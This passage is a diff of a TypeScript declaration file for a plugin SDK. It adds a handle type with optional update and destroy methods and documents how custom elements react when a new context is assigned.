+ * `root` keeps its DOM and no cleanup runs first. The SDK has already applied the new theme tokens.
2709
+ * Omit it and the SDK falls back to destroy-and-render, which is what a plugin returning a bare cleanup
2710
+ * function gets.
2711
+ *
2712
+ * A host may reassign an **identical** context object; the SDK filters that case out, so every call you
2713
+ * see carries a `ctx` that is at least a different object.
2714
+ */
2715
+ update?(ctx: PluginContext): void;
2716
+ /**
2717
+ * Called when the element disconnects, and before a full re-render — the same duty the bare cleanup
2718
+ * callback has. Drop subscriptions ({@link Unsubscribe}), timers and in-flight requests here.
2719
+ */
2720
+ destroy?(): void;
2721
+ }
2326
2722
  /**
2327
2723
  * What a plugin author implements: render logic given the mount point and context.
2328
2724
  *
2329
2725
  * @param args.ctx the host-provided context
2330
2726
  * @param args.root a dedicated container inside the component's shadow root to render into; it is
2331
2727
  * cleared by the SDK before each call
2332
- * @returns an optional cleanup callback, run before the next render and on disconnect
2728
+ * @returns nothing, a cleanup callback (run before the next render and on disconnect), or — since
2729
+ * `0.15.0` — a {@link MosaicastHandle} whose `update` takes a new `ctx` **without** the render
2730
+ * being torn down and rebuilt
2333
2731
  */
2334
2732
  export type MosaicastRender = (args: {
2335
2733
  ctx: PluginContext;
2336
2734
  root: HTMLElement;
2337
- }) => void | (() => void);
2735
+ }) => void | (() => void) | MosaicastHandle;
2338
2736
  /** Options for {@link defineMosaicastElement}. */
2339
2737
  export interface DefineElementOptions {
2340
2738
  /** The custom-element tag name (must contain a hyphen), e.g. `bingo-episode-card`. */
2341
2739
  tag: string;
2342
- /** The render callback invoked whenever `ctx` is (re)assigned. */
2740
+ /**
2741
+ * The render callback. Invoked when `ctx` is first assigned, and again on every later assignment
2742
+ * unless it returned a {@link MosaicastHandle} with an `update`.
2743
+ */
2343
2744
  render: MosaicastRender;
2344
2745
  }
2345
2746
  /**
@@ -2348,7 +2749,13 @@ export interface DefineElementOptions {
2348
2749
  * The created custom element attaches an open shadow root, accepts the host's {@link PluginContext} via
2349
2750
  * a `ctx` property, injects the theme tokens as `--mc-*` CSS custom properties into the shadow root, and
2350
2751
  * calls your {@link DefineElementOptions.render} into a dedicated container — so you write only render
2351
- * logic. Re-assigning `ctx` re-renders (after running any cleanup the previous render returned).
2752
+ * logic.
2753
+ *
2754
+ * **What a new `ctx` costs you is your choice (since `0.15.0`).** Return a {@link MosaicastHandle} with
2755
+ * an `update` and the SDK hands the new context to the render you already have: theme variables are
2756
+ * refreshed, `update(ctx)` is called, `root` is untouched. Return a bare cleanup callback (or nothing)
2757
+ * and the old behaviour stands: cleanup runs, `root` is cleared, `render` is called again. Either way an
2758
+ * assignment of the **same** context object is ignored, and `destroy` runs on disconnect.
2352
2759
  *
2353
2760
  * Calling twice with the same tag is a no-op (the browser forbids redefining a custom element).
2354
2761
  *